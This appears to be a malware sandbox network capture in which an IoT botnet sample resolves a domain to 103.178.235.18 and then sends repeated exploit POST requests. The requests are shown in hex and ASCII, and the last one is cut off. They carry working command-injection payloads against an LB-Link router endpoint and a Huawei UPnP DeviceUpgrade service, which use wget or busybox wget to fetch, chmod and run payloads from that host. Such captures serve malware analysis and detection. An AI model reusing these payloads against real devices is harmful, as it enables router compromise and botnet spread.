Jan 1, 2024 16:15:31.952580929 CET	192.168.2.14	8.8.8.8	0xe516	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:15:42.740094900 CET	192.168.2.14	8.8.8.8	0x1831	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:15:53.497458935 CET	192.168.2.14	8.8.8.8	0xdac1	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:03.282643080 CET	192.168.2.14	8.8.8.8	0xd1ff	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:13.041671991 CET	192.168.2.14	8.8.8.8	0xcc79	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:16.802583933 CET	192.168.2.14	8.8.8.8	0x7065	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:24.591860056 CET	192.168.2.14	8.8.8.8	0x8eb1	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:33.355720997 CET	192.168.2.14	8.8.8.8	0x64d5	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:36.147747040 CET	192.168.2.14	8.8.8.8	0x4be3	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:41.937338114 CET	192.168.2.14	8.8.8.8	0x65da	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:43.710223913 CET	192.168.2.14	8.8.8.8	0xbc54	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:50.471565962 CET	192.168.2.14	8.8.8.8	0x4f9a	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:01.255470991 CET	192.168.2.14	8.8.8.8	0xd990	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:10.013206005 CET	192.168.2.14	8.8.8.8	0xe782	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:15.803283930 CET	192.168.2.14	8.8.8.8	0x1d53	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:22.569575071 CET	192.168.2.14	8.8.8.8	0x10e1	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:26.333345890 CET	192.168.2.14	8.8.8.8	0xd85f	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:30.094682932 CET	192.168.2.14	8.8.8.8	0x6bf2	Standard query (0)	bngoc.skyljne.click	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 1, 2024 16:15:32.073225975 CET	8.8.8.8	192.168.2.14	0xe516	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:15:42.860807896 CET	8.8.8.8	192.168.2.14	0x1831	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:15:53.618082047 CET	8.8.8.8	192.168.2.14	0xdac1	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:03.403337955 CET	8.8.8.8	192.168.2.14	0xd1ff	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:13.162408113 CET	8.8.8.8	192.168.2.14	0xcc79	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:16.924549103 CET	8.8.8.8	192.168.2.14	0x7065	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:24.712600946 CET	8.8.8.8	192.168.2.14	0x8eb1	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:33.476349115 CET	8.8.8.8	192.168.2.14	0x64d5	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:36.268363953 CET	8.8.8.8	192.168.2.14	0x4be3	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:42.058181047 CET	8.8.8.8	192.168.2.14	0x65da	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:43.830723047 CET	8.8.8.8	192.168.2.14	0xbc54	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:16:50.593523026 CET	8.8.8.8	192.168.2.14	0x4f9a	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:01.377294064 CET	8.8.8.8	192.168.2.14	0xd990	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:10.133852959 CET	8.8.8.8	192.168.2.14	0xe782	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:15.923919916 CET	8.8.8.8	192.168.2.14	0x1d53	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:22.690186977 CET	8.8.8.8	192.168.2.14	0x10e1	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:26.453933954 CET	8.8.8.8	192.168.2.14	0xd85f	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false
Jan 1, 2024 16:17:30.215209961 CET	8.8.8.8	192.168.2.14	0x6bf2	No error (0)	bngoc.skyljne.click	103.178.235.18	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 16:15:54.258311987 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:15:55.482088089 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 16:15:55.548659086 CET	229	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:15:55.836958885 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 16:15:56.166635036 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:15:57.146022081 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:15:59.065943003 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:16:02.969825983 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:16:10.649494886 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:16:26.008852959 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Jan 1, 2024 16:16:56.727566004 CET	217	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 16:16:00.258496046 CET	823	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 466 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 16:16:01.081887960 CET	823	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 466 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 16:16:02.013854027 CET	823	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 466 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 16:16:03.865741968 CET	823	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 466 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 